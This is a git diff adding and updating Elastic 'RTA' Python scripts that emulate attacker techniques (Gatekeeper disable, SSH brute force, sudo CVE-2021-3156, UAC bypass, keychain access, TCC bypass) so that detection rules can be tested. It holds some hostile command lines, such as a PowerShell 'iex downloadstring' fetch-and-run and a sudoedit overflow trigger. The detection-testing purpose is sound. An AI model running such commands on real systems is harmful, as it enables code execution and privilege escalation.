b/rta/spctl_gatekeeper_bypass.py new file mode 100644 index 000000000..6b2644c46 --- /dev/null +++ b/rta/spctl_gatekeeper_bypass.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cf71bf97-e3ba-474c-9b6b-538e5a8008b0", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Attempt to Disable Gatekeeper", "rule_id": "4da13d6e-904f-4636-81d8-6ab14b4e6ae9"}], + techniques=["T1553"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/spctl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Executing fake spctl for Gatekeeper defensive evasion.") + common.execute([masquerade, "spctl", "--master-disable"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/special_chars_zip_file.py b/rta/special_chars_zip_file.py new file mode 100644 index 000000000..c9492fdcc --- /dev/null +++ b/rta/special_chars_zip_file.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="dce9cb95-b97d-4874-ab7a-26382a1ba348", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Potential Microsoft Office Sandbox Evasion", "rule_id": "d22a85c6-d2ad-4cc4-bf7b-54787473669a"} + ], + techniques=["T1497"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Creating suspicious zip file with special characters to mimic evasion of sanboxed office apps.") + common.temporary_file_helper("testing", file_name="/tmp/~$test.zip") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sqlite_db_evasion.py b/rta/sqlite_db_evasion.py new file mode 100644 index 000000000..edbe2db9f --- /dev/null +++ b/rta/sqlite_db_evasion.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="abd56d74-6538-456e-bd2a-42f08d1bac3c", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Reading or Modifying Downloaded Files Database via SQLite Utility", + "rule_id": "b8fb52cd-5f06-4519-921d-bd1b363dc01b", + } + ], + siem=[], + techniques=[], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sqlite3" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake sqlite3 commands") + common.execute([masquerade, "test LSQuarantinetest"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ssh_bruteforce.py b/rta/ssh_bruteforce.py new file mode 100644 index 000000000..d9b23d16f --- /dev/null +++ b/rta/ssh_bruteforce.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +from multiprocessing import Process + + +metadata = RtaMetadata( + uuid="61369084-af6a-4fd0-903f-b44467f5d6e7", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential SSH Brute Force Detected", "rule_id": "ace1e989-a541-44df-93a8-a8b0591b63c0"}], + techniques=["T1110"], +) + + +def test(masquerade, masquerade2): + common.execute([masquerade2, "childprocess", masquerade], timeout=0.3, kill=True) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sshd-keygen-wrapper" + masquerade2 = "/tmp/launchd" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake ssh keygen commands to mimic ssh bruteforce") + processes = [] + + for i in range(25): + p = Process( + target=test, + args=( + masquerade, + masquerade2, + ), + ) + processes.append(p) + + for i in processes: + i.start() + + for i in processes: + i.join() + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sticky_keys_write_execute.py b/rta/sticky_keys_write_execute.py index f64b02376..d80540c1e 100644 --- a/rta/sticky_keys_write_execute.py +++ b/rta/sticky_keys_write_execute.py @@ -15,12 +15,39 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="398933ec-f8d4-4d81-93ed-e7d7adcb9d97", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + }, + { + "rule_id": "68921d85-d0dc-48b3-865f-43291ca2c4f2", + "rule_name": "Persistence via TelemetryController Scheduled Task Hijack", + }, + ], + techniques=["T1546", "T1053"], +) + + +@common.requires_os(metadata.platforms) def main(): # Prep - bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"] + bins = [ + "sethc.exe", + "utilman.exe", + "narrator.exe", + "magnify.exe", + "osk.exe", + "displayswitch.exe", + "atbroker.exe", + ] calc = os.path.abspath("\\windows\\system32\\calc.exe") temp = os.path.abspath("temp.exe") diff --git a/rta/sudo_exploit.py b/rta/sudo_exploit.py new file mode 100644 index 000000000..3dcd7349e --- /dev/null +++ b/rta/sudo_exploit.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="da35cb80-dad9-4995-ac11-6a408843cd12", + platforms=["linux", "macos"], + endpoint=[ + {"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "95718a3c-edc7-46ef-978b-77891ca6198f"} + ], + siem=[{"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "f37f3054-d40b-49ac-aa9b-a786c74c58b8"}], + techniques=["T1068", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log( + "Executing command to simulate attempted use of a heap-based buffer overflow vulnerability for the " + "Sudo binary in Unix-like systems(CVE-2021-3156)" + ) + # The exploit reproduction is available + # https://www.sudo.ws/security/advisories/unescape_overflow/ + # https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges + + if common.CURRENT_OS == "macos": + masquerade = "/tmp/sudo" + common.create_macos_masquerade(masquerade) + common.execute([masquerade, "-s", "sudoedit", "*\\\\"], timeout=10, kill=True) + else: + cmd = """sudoedit -s '\\' `perl -e 'print "A" x 65536'`""" + common.execute(f'bash -c "{cmd}"', shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/susp_scheduled_task_creation.py b/rta/susp_scheduled_task_creation.py new file mode 100644 index 000000000..9f7159b0f --- /dev/null +++ b/rta/susp_scheduled_task_creation.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0a766d3c-baee-4bc2-8997-e4e450f77253", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, + {"rule_name": "Suspicious Scheduled Task Creation", "rule_id": "beebd95c-93f4-46d2-a902-053bfe78686b"}, + ], + siem=[], + techniques=["T1218", "T1053", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + regsvr32 = "C:\\Users\\Public\\regsvr32.exe" + common.copy_file(EXE_FILE, regsvr32) + + cmd = "schtasks.exe /create /tr C:\\Users\\Public\\ /mo minute" + # Execute command + common.execute([regsvr32, "/c", cmd], timeout=10) + common.remove_file(regsvr32) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/susp_script_file_name.py b/rta/susp_script_file_name.py new file mode 100644 index 000000000..1f3322797 --- /dev/null +++ b/rta/susp_script_file_name.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="84579cd0-2b30-4846-9b4e-9663ae2c400a", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Script File Name", "rule_id": "8c69476a-d8ea-46da-8052-6a4f9254125c"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Script Execution via Microsoft HTML Application", + "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", + }, + ], + siem=[], + techniques=["T1036", "T1218", "T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + mshta = "C:\\Users\\Public\\mshta.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, mshta) + + cmd = "ls ~\\Downloads\\*.pdf.js" + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [rcedit, mshta, "--set-version-string", "OriginalFileName", "mshta.exe"], + timeout=10, + ) + common.execute([mshta, "/c", cmd], timeout=5, kill=True) + + common.remove_files(mshta, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_dll_registration_regsvr32.py b/rta/suspicious_dll_registration_regsvr32.py index 3dde49aff..012e635c8 100644 --- a/rta/suspicious_dll_registration_regsvr32.py +++ b/rta/suspicious_dll_registration_regsvr32.py @@ -9,9 +9,13 @@ # Description: Pretends to register DLL without traditional DLL extension using RegSvr32 from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="cda5b0b4-5b9c-4285-8adc-f89b375e5485", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Suspicious DLL Registration by Regsvr32") diff --git a/rta/suspicious_office_child.py b/rta/suspicious_office_child.py new file mode 100644 index 000000000..7d3053828 --- /dev/null +++ b/rta/suspicious_office_child.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c798f63a-f8be-459a-bb75-407e97f55faa", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"} + ], + siem=[], + techniques=["T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.execute([binary, "/c", "certutil.exe"], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_office_children.py b/rta/suspicious_office_children.py index aae249c38..ed79ac0aa 100644 --- a/rta/suspicious_office_children.py +++ b/rta/suspicious_office_children.py @@ -12,10 +12,20 @@ import os from . import common +from . import RtaMetadata from . import mshta_network -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="cd8e06c0-fc62-4932-8ef7-b767570e88eb", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py")) diff --git a/rta/suspicious_office_descendant_fp.py b/rta/suspicious_office_descendant_fp.py index f95a84a51..6c1d902fe 100644 --- a/rta/suspicious_office_descendant_fp.py +++ b/rta/suspicious_office_descendant_fp.py @@ -12,9 +12,19 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="e6d124ee-27d3-48a6-8c59-354072ec9e00", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("MS Office unusual child process emulation") suspicious_apps = [ @@ -33,14 +43,18 @@ def main(): common.copy_file(cmd_path, office_path) for command in suspicious_apps: - common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True) + common.execute( + "%s /c %s /c %s" % (office_path, browser_path, command), + timeout=5, + kill=True, + ) - common.log('Cleanup %s' % office_path) + common.log("Cleanup %s" % office_path) common.remove_file(office_path) common.log("Sleep 5 to allow processes to finish") time.sleep(5) - common.log('Cleanup %s' % browser_path) + common.log("Cleanup %s" % browser_path) common.remove_file(browser_path) diff --git a/rta/suspicious_powershell_download.py b/rta/suspicious_powershell_download.py index f0471a4f3..61c26b059 100644 --- a/rta/suspicious_powershell_download.py +++ b/rta/suspicious_powershell_download.py @@ -3,39 +3,48 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: Suspicious PowerShell Download -# RTA: suspicious_powershell_download.py -# signal.rule.name: Suspicious MS Office Child Process -# ATT&CK: T1086 -# Description: PowerShell using DownloadString or DownloadFile in suspicious context - import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="20b96aa7-609e-473f-ac35-5ac19d10f9a5", + platforms=["windows"], + endpoint=[ + { + "rule_name": "PowerShell Obfuscation Spawned via Microsoft Office", + "rule_id": "93ef8a09-0f8d-4aa1-b0fb-47d5d5b40cf2", + }, + {"rule_name": "Suspicious PowerShell Downloads", "rule_id": "7200673e-588c-45d5-be48-bc5c7a908d6b"}, + ], + siem=[], + techniques=["T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) def main(): - cmd_path = "c:\\windows\\system32\\cmd.exe" server, ip, port = common.serve_web() - url = 'http://{}:{}/bad.ps1'.format(ip, port) + url = "http://{}:{}/bad.ps1".format(ip, port) - cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url), - "powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)] + cmd = "powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url) - # emulate word and chrome - for user_app in ["winword.exe", "chrome.exe"]: - common.log("Emulating {}".format(user_app)) - user_app_path = os.path.abspath(user_app) - common.copy_file(cmd_path, user_app_path) + # Emulate Word + user_app = "winword.exe" + common.log("Emulating {}".format(user_app)) + user_app_path = os.path.abspath(user_app) + common.copy_file(EXE_FILE, user_app_path) - for cmd in cmds: - common.execute([user_app_path, "/c", cmd]) - time.sleep(2) + common.execute([user_app_path, "/c", cmd]) + time.sleep(2) - # cleanup - common.remove_file(user_app_path) + # Cleanup + common.remove_file(user_app_path) if __name__ == "__main__": diff --git a/rta/suspicious_wmic_script.py b/rta/suspicious_wmic_script.py index d743943f0..c8c3c6298 100644 --- a/rta/suspicious_wmic_script.py +++ b/rta/suspicious_wmic_script.py @@ -10,6 +10,17 @@ import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="16b3d9c6-e188-49c5-8dce-d3eb5b0fcf91", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "7f370d54-c0eb-4270-ac5a-9a6020585dc6", "rule_name": "Suspicious WMIC XSL Script Execution"}], + techniques=["T1220"], +) + xsl_file = "test.xsl" xsl_content = """ @@ -26,7 +37,7 @@ version="1.0"> """ -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): common.log("Executing suspicious WMIC script") diff --git a/rta/suspicious_wscript_parent.py b/rta/suspicious_wscript_parent.py index d8e7d7b41..78004bdcd 100644 --- a/rta/suspicious_wscript_parent.py +++ b/rta/suspicious_wscript_parent.py @@ -13,15 +13,28 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="a3cdd478-b817-4513-bb3d-897a5f92c836", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "32f4675e-6c49-4ace-80f9-97c9259dca2e", "rule_name": "Suspicious MS Outlook Child Process"}, + {"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}, + ], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): script_data = """ WScript.CreateObject("wscript.shell") """ script_path = ".\\hello.vbs" - with open(script_path, 'w') as f: + with open(script_path, "w") as f: f.write(script_data) cmd_path = "c:\\windows\\system32\\cmd.exe" @@ -34,14 +47,14 @@ def main(): common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True) common.log("Killing wscript window") - common.execute('taskkill /IM wscript.exe') + common.execute("taskkill /IM wscript.exe") - common.log('Cleanup %s' % app_path) + common.log("Cleanup %s" % app_path) common.remove_file(app_path) common.log("Sleep 5 to allow procecsses to finish") time.sleep(5) - common.log('Cleanup %s' % script_path) + common.log("Cleanup %s" % script_path) common.remove_file(script_path) diff --git a/rta/system_restore_process.py b/rta/system_restore_process.py index bdf523253..5f6c51104 100644 --- a/rta/system_restore_process.py +++ b/rta/system_restore_process.py @@ -11,11 +11,16 @@ import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="0fcf5aeb-cebd-466d-8a2e-ddb710ec845d", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + SYSTEM_RESTORE = "c:\\System Volume Information" -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC) def main(): status = common.run_system() diff --git a/rta/systemkey_credential_access.py b/rta/systemkey_credential_access.py new file mode 100644 index 000000000..3e611916f --- /dev/null +++ b/rta/systemkey_credential_access.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d950ef5f-8277-4ed8-a8dd-d2433e791cef", + platforms=["macos"], + endpoint=[ + {"rule_name": "Suspicious SystemKey Access via Command Line", "rule_id": "7d3f98bf-2111-4e5f-9787-9edef8d94dd0"} + ], + siem=[{"rule_name": "SystemKey Access via Command Line", "rule_id": "d75991f2-b989-419d-b797-ac1e54ec2d61"}], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to aquire keychain credentials") + common.execute([masquerade, "/private/var/db/SystemKey"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/systemsetup_ssh_enable.py b/rta/systemsetup_ssh_enable.py new file mode 100644 index 000000000..d973737f2 --- /dev/null +++ b/rta/systemsetup_ssh_enable.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="23997dfa-9e30-4091-9ee2-8bd45a2da70a", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Remote SSH Login Enabled via systemsetup Command", + "rule_id": "5ae4e6f8-d1bf-40fa-96ba-e29645e1e4dc", + } + ], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/systemsetup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake systemsetup command to mimic enabling remote SSH.") + common.execute([masquerade, "-setremotelogin", "on"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/tcc_bypass_mounted_apfs.py b/rta/tcc_bypass_mounted_apfs.py new file mode 100644 index 000000000..3e7104c86 --- /dev/null +++ b/rta/tcc_bypass_mounted_apfs.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4c8675a8-fbed-4f36-88e6-ffceaf82f426", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "TCC Bypass via Mounted APFS Snapshot Access", "rule_id": "b00bcd89-000c-4425-b94c-716ef67762f6"} + ], + techniques=["T1006"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/mount_apfs" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake mount_apfs command to mount the APFS snapshot") + common.execute([masquerade, "/System/Volumes/Data", "noowners"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/tcc_modification.py b/rta/tcc_modification.py new file mode 100644 index 000000000..733d4c316 --- /dev/null +++ b/rta/tcc_modification.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="34cddcb3-bd49-4363-8092-677307abaa82", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Potential Privacy Control Bypass via TCCDB Modification", + "rule_id": "eea82229-b002-470e-a9e1-00be38b14d32", + } + ], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sqlite" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake plistbuddy command to modify plist files") + common.execute( + [masquerade, "/test/Application Support/com.apple.TCC/TCC.db"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/trust_provider.py b/rta/trust_provider.py index d7e51f130..8e7072d21 100644 --- a/rta/trust_provider.py +++ b/rta/trust_provider.py @@ -9,6 +9,17 @@ # Description: Substitutes an invalid code authentication policy, enabling trust policy bypass. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="45541eb5-c636-477b-81c9-b6dcf184c9cc", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}], + techniques=["T1553"], +) + FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501 @@ -34,7 +45,7 @@ else: TARGET_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) def main(): common.log("Trust Provider") diff --git a/rta/uac_cdssync.py b/rta/uac_cdssync.py new file mode 100644 index 000000000..5f3838524 --- /dev/null +++ b/rta/uac_cdssync.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="7e9a94f4-46aa-45eb-b95b-53da7c01a033", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via CDSSync Scheduled Task Hijack", + "rule_id": "d8b7a157-c98f-42bd-8aac-7d1e4fcd53f4", + }, + ], + siem=[], + techniques=["T1574", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + taskhostw = "C:\\Users\\Public\\taskhostw.exe" + path = "C:\\Users\\Public\\System32" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = path + "\\npmproxy.dll" + os.makedirs(path, exist_ok=True) + common.copy_file(user32, dll) + common.copy_file(EXE_FILE, taskhostw) + + common.log("Spawning PowerShell from fake taskhostw") + common.execute([taskhostw, "/c", powershell], timeout=10, kill=True) + common.remove_files(dll, taskhostw) + os.removedirs(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_computerdefaults.py b/rta/uac_computerdefaults.py new file mode 100644 index 000000000..0cb837c59 --- /dev/null +++ b/rta/uac_computerdefaults.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7cc740ff-2e6c-4740-9323-46dcbb4dbfbc", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via ComputerDefaults Execution Hijack", + "rule_id": "7c0048d5-356d-4f69-839e-10c1e194958f", + } + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software\\Classes\\ms-settings\\shell\\open\\command" + value = "test" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + computerdefaults = "C:\\Users\\Public\\ComputerDefaults.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, computerdefaults) + + common.execute([computerdefaults, "/c", powershell], timeout=2, kill=True) + common.remove_file(computerdefaults) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_dccw.py b/rta/uac_dccw.py new file mode 100644 index 000000000..947318123 --- /dev/null +++ b/rta/uac_dccw.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cfb116f0-ad83-4d77-803f-064c2cfd93fe", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via DCCW DLL Search Order Hijacking", + "rule_id": "093bd845-b59f-4868-a7dd-62d48b737bf6", + }, + ], + siem=[], + techniques=["T1129", "T1548", "T1036", "T1055", "T1574"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dccw = "C:\\Users\\Public\\dccw.exe" + dllhost = "C:\\Users\\Public\\dllhost.exe" + dccwpath = "C:\\Users\\Public\\dccw.exe.test" + dccwpathdll = "C:\\Users\\Public\\dccw.exe.test\\a.dll" + dccwpathdll2 = "C:\\Users\\Public\\dccw.exe.test\\b.dll" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, dccw) + common.copy_file(EXE_FILE, dllhost) + + # Create Dir + common.execute([powershell, "/c", f"New-Item -Path {dccwpath} -Type Directory"], timeout=10) + common.copy_file(EXE_FILE, dccwpathdll) + common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) + common.execute([dccw, "/c", powershell], timeout=2, kill=True) + common.remove_files(dccw, dllhost, dccwpathdll2) + common.execute([powershell, "/c", f"rmdir {dccwpath} -Force"], timeout=3) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_diskcleanup.py b/rta/uac_diskcleanup.py new file mode 100644 index 000000000..f111397c2 --- /dev/null +++ b/rta/uac_diskcleanup.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="37b8d4d9-5acc-40c0-bc78-aba24a2c3f80", + platforms=["windows"], + endpoint=[ + { 